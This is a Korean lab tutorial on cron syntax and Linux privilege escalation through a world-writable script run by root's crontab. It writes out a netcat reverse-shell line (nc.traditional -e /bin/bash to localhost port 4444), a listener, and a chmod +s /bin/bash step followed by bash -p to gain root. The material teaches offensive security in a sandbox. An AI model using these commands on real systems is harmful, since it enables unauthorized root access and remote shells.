Nmap 에서 Cron Job 및 권한 상승 학습

Beginner

소개

이 랩에서는 Cron Job 과 cron 구문에 대해 배우고, 실습을 통해 crontab 사용법을 빠르게 익힐 것입니다. 또한, 잘못된 crontab 설정을 활용하여 Linux 에서 권한을 상승시키는 방법을 이해할 것입니다.

Cron Job 및 Cron 구문 이해

이 단계에서는 Cron Job 과 cron 구문을 소개합니다.

Cron Job 은 Linux 시스템에서 "예약된 작업"으로, 정기적인 데이터 백업 또는 캐시 삭제와 같이 주기적으로 실행해야 하는 명령을 예약하는 데 일반적으로 사용됩니다. cron 도구 (crontab) 를 사용하기 때문에 Cron Job 이라고 불립니다.

Cron Job 은 시스템 관리자가 가장 많이 사용하는 도구 중 하나이며, 그 자체로 훌륭한 도구입니다. 그러나 "예약된 작업"이 더 높은 사용자 권한 (예: root 사용자) 으로 실행되도록 설정된 경우, 공격자가 권한 상승에 악용할 수 있습니다.

crontab 명령은 다음 구문을 사용합니다.

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 요일 (0 - 7) (0 = 일요일)
|    |    |    +---------- 월 (1 - 12)
|    |    +--------------- 일 (1 - 31)
|    +-------------------- 시 (0 - 23)
+------------------------- 분 (0 - 59)

user 필드는 선택 사항입니다. 지정하지 않으면 명령 또는 스크립트가 현재 사용자의 권한으로 실행됩니다.

root 사용자만 다른 사용자의 권한으로 명령 또는 스크립트 실행을 지정할 수 있습니다.

예를 들어, 매시간 Apache 오류 로그를 출력하려면 다음 문을 사용할 수 있습니다.

0 * * * * echo /var/log/lastlog

hour, day, month, week가 모두 *로 설정되어 있으므로, 예약된 작업은 분이 0 이 될 때마다, 즉 매시간마다 한 번 실행됩니다.

15 분에 2 시간마다 명령을 실행해야 하는 경우 어떻게 해야 할까요? 간단한 수정을 할 수 있습니다.

15 */2 * * * echo /var/log/lastlog

cron의 사용법을 이해하기 위해 예제를 살펴보겠습니다.

  1. 터미널을 열고 /home/labex/project 디렉토리로 이동합니다. 그런 다음 다음 명령을 실행하여 랩 환경을 초기화합니다.

    ./env_setup1.sh
    

    초기화가 성공적으로 완료되면 labex 사용자의 홈 디렉토리에서 cleanup.py 파일과 trashDirectory 디렉토리를 볼 수 있습니다. trashDirectory 디렉토리에는 error.logreadme.txt의 두 파일이 있습니다.

    랩 목표는 다음과 같습니다. crontab을 사용하여 /home/labex/project/trashDirectory 디렉토리의 모든 데이터를 지우기 위해 매 1 분마다 cleanup.py 스크립트를 호출하는 예약된 작업을 추가합니다. cleanup.py 스크립트는 os.system() 함수를 통해 rm 시스템 명령을 호출하여 /home/labex/project/trashDirectory 디렉토리를 지웁니다.

  2. 다음으로, 다음 명령을 사용하여 crontab 에 예약된 작업을 추가합니다.

    echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null
    

    위 명령은 crontab 파일에 예약된 작업을 추가합니다. 작업은 매 분마다 실행되며, cleanup.py 스크립트는 root 권한으로 실행됩니다.

  3. 랩 머신에서는 cron 서비스가 기본적으로 비활성화되어 있으므로 다음 명령으로 수동으로 시작해야 합니다.

    sudo service cron start
    

    예상 출력:

    * Starting periodic command scheduler cron
    

    1분 후, /home/labex/project/trashDirectory 디렉토리에 들어가 ls 명령을 사용하면 디렉토리의 데이터가 지워진 것을 볼 수 있습니다. 이는 cron job 이 올바르게 실행되고 있음을 나타냅니다.

Crontab 스크립트 덮어쓰기를 통한 리버스 쉘 실행

이 단계에서는 crontab 에서 호출하는 스크립트를 덮어써서 권한을 상승시키는 방법을 배웁니다.

  1. 먼저, 터미널을 열고 /home/labex/project 디렉토리로 이동합니다. 그런 다음 다음 명령을 실행하여 랩 환경을 초기화합니다.

    cd /home/labex/project
    

    랩 환경을 초기화하기 위해 스크립트를 실행합니다.

    ./env_setup2.sh
    
  2. 초기화가 성공적으로 완료되면 다음 명령을 사용하여 호스트에서 예약된 작업을 확인합니다.

    cat /etc/crontab
    

    파일 끝에 있는 예약된 작업 중 하나가 눈에 띕니다. 매 분마다 시스템은 이전 단계에서 사용했던 파일인 /home/labex/project/cleanup.py 스크립트를 root 권한으로 실행합니다.

  3. 다음으로, 스크립트의 권한을 확인해 보겠습니다.

    ls -al /home/labex/project/cleanup.py
    

    cleanup.py의 파일 권한이 위험하게 설정되어 있음을 알 수 있습니다. 다른 사용자도 쓰기 (w) 권한을 가지고 있으므로 cleanup.py의 내용을 편집하고 수정할 수 있습니다!

  4. cleanup.py가 root 권한으로 실행되므로 root 권한으로 reverse shell 을 사용할 수 있습니다.

    cleanup.py 스크립트를 수정하여 nc.traditional을 사용하여 로컬 포트 4444 로 reverse shell 을 실행합니다.

    ...
    os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
    ...
    

    파일을 저장하면 1 분 후에 변경 사항이 적용됩니다.

    nc.traditional을 사용하는 이유는 기본 nc 명령이 -e 옵션을 지원하지 않기 때문입니다.

  5. 그런 다음 다음 명령을 실행하여 로컬 포트 4444 에서 수신 대기합니다.

    nc -lnvp 4444
    

    예상 출력:

    Listening on 0.0.0.0 4444
    

    잠시 기다리면 root 권한으로 reverse shell 을 성공적으로 받습니다.

    Connection received on 127.0.0.1 45480
    

    현재 사용자를 확인하기 위해 whoami 명령을 실행해 봅니다.

    whoami
    root
    

Crontab 스크립트 덮어쓰기를 통한 Bash SUID 부여

이전에 논의했던 SUID 권한 상승을 기억하십니까? cleanup.py 스크립트를 사용하여 특정 실행 파일의 권한을 수정하여 setuid 비트를 설정할 수도 있습니다. 이를 통해 bash 에 setuid 비트를 설정하는 것과 같이 SUID 권한 상승에 활용할 수 있습니다.

마지막 단계 이후에도 여전히 root 쉘에 있을 수 있습니다. 이 단계를 위해서는 다음 명령을 실행하여 root 쉘에서 로그아웃하고 다시 labex 사용자로 로그인해야 합니다.

exit

또는 새 터미널을 열고 labex 사용자로 로그인할 수 있습니다.

그런 다음 다음 명령을 실행하여 /home/labex/project 디렉토리로 이동합니다.

cd /home/labex/project
  1. 현재 /bin/bash에는 setuid 비트가 설정되어 있지 않습니다.

    ls -l /bin/bash
    
  2. 이전 단계와 유사하게, cleanup.py 스크립트에서 실행되는 명령을 다음 명령으로 수정합니다.

    ...
    os.system("chmod +s /bin/bash")
    ...
    
  3. 잠시 후 /bin/bash를 확인하면 이제 setuid 비트가 설정되어 있음을 알 수 있습니다. 이는 예약된 작업이 성공적으로 실행되었음을 나타냅니다.

    ls -l /bin/bash
    

    예상 출력:

    -rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash
    

    위와 같이 이제 bash -p를 사용하여 root 권한을 얻을 수 있습니다.

    labex:project/ $ bash -p
    bash-5.1## whoami
    root
    
  4. 권한 상승에 성공했음을 나타내기 위해 /root 디렉토리에 success.txt라는 파일을 생성합니다.

    echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
    

요약

이 랩에서는 Cron Job, cron 구문에 대해 배우고 실습을 통해 crontab 사용법을 익혔습니다. 마지막으로, 잘못된 crontab 구성을 활용하여 쉘을 root 권한으로 성공적으로 상승시켰습니다.